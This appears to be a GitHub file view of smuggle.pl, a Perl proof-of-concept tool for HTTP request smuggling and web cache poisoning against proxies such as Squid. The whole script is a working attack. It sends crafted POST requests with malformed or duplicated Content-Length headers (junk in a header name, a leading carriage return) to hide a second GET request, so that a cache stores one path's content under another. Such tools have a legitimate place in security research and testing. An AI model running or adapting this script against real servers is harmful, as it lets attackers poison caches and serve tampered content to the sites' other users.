-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathsmuggle.pl
127 lines (121 loc) · 3.47 KB
/
smuggle.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/perl
use strict;
use Socket;
if (scalar(@ARGV) eq 0)
{
print "smuggle.pl host port variant(1/2/5) POST_path target_path poison_path\n";
print "EXAMPLES:\n";
print "Variant 1 (Header SP junk):\n";
print "smuggle.pl www.example.com 80 1 /hello.php /welcome.html /poison.html\n";
print "Variant 2 (Header SP junk + Wait):\n";
print "smuggle.pl www.example.com 80 2 /hello.php /welcome.html /poison.html\n";
print "Variant 5 (CR Header + Wait):\n";
print "smuggle.pl www.example.com 80 5 /hello.php /welcome.html /poison.html\n";
exit;
}
my $debug=1;
my $host = $ARGV[0]; # "foo.com";
my $port = $ARGV[1]; # 80;
my $variant=$ARGV[2]; # "3-cached";
my $post_path=$ARGV[3]; # "/hello.php";
my $target_path=$ARGV[4]; # "/b.php";
my $poison_path=$ARGV[5]; # "/a.php";
socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2])
or die "Can't create a socket $ ($!)\n";
connect( SOCKET, pack_sockaddr_in($port, inet_aton($host)))
or die "Can't connect to port $port ($!)\n";
my $old_fh = select(SOCKET);
$| = 1;
select($old_fh);
sub dump_socket
{
if ($debug)
{
my $data;
#recv(SOCKET,$data,999999,MSG_DONTWAIT);
recv(SOCKET,$data,999999,0);
print $data;
}
}
if ($variant eq "1")
{
print SOCKET "POST $post_path HTTP/1.1\r\n";
#dump_socket();
print SOCKET "Host: $host\r\n";
#dump_socket();
print SOCKET "Connection: Keep-Alive\r\n";
#dump_socket();
print SOCKET "Content-Length: ".(29+length($poison_path))."\r\n";
#dump_socket();
print SOCKET "Content-Length abcde: 3\r\n";
#dump_socket();
print SOCKET "\r\n";
#dump_socket();
print SOCKET "fooGET $poison_path HTTP/1.1\r\n";
#dump_socket();
print SOCKET "Something: GET $target_path HTTP/1.1\r\n";
#dump_socket();
print SOCKET "Cache-Control: no-cache\r\n";
#dump_socket();
print SOCKET "Host: $host\r\n";
#dump_socket();
print SOCKET "\r\n";
#dump_socket();
sleep(1);
dump_socket();
}
elsif ($variant eq "2")
{
print SOCKET "POST $post_path HTTP/1.1\r\n";
#dump_socket();
print SOCKET "Host: $host\r\n";
#dump_socket();
print SOCKET "Connection: Keep-Alive\r\n";
#dump_socket();
print SOCKET "Content-Length abcde: ".(26+length($target_path))."\r\n"; # don't count the Cache-Control header, as Squid pushes it down anyway.
#dump_socket();
print SOCKET "\r\n";
#dump_socket();
print SOCKET "GET $target_path HTTP/1.1\r\n";
#dump_socket();
print SOCKET "Cache-Control: no-cache\r\n"; # Don't worry... it's pushed down to the bottom of the request by Squid
#dump_socket();
print SOCKET "Something: GET $poison_path HTTP/1.1\r\n";
#dump_socket();
print SOCKET "Host: $host\r\n";
#dump_socket();
print SOCKET "\r\n";
dump_socket();
sleep(31);
dump_socket();
}
elsif ($variant eq "5")
{
print SOCKET "POST $post_path HTTP/1.1\r\n";
#dump_socket();
print SOCKET "Host: $host\r\n";
#dump_socket();
print SOCKET "Connection: Keep-Alive\r\n";
#dump_socket();
print SOCKET "\rContent-Length: ".(26+length($target_path))."\r\n"; # don't count the Cache-Control header, as Squid pushes it down anyway.
#dump_socket();
print SOCKET "\r\n";
#dump_socket();
print SOCKET "GET $target_path HTTP/1.1\r\n";
#dump_socket();
print SOCKET "Cache-Control: no-cache\r\n"; # Don't worry... it's pushed down to the bottom of the request by Squid
#dump_socket();
print SOCKET "Something: GET $poison_path HTTP/1.1\r\n";
#dump_socket();
print SOCKET "Host: $host\r\n";
#dump_socket();
print SOCKET "\r\n";
dump_socket();
sleep(31);
dump_socket();
}
else
{
print "Unknown variant - $variant\n";
}
close(SOCKET);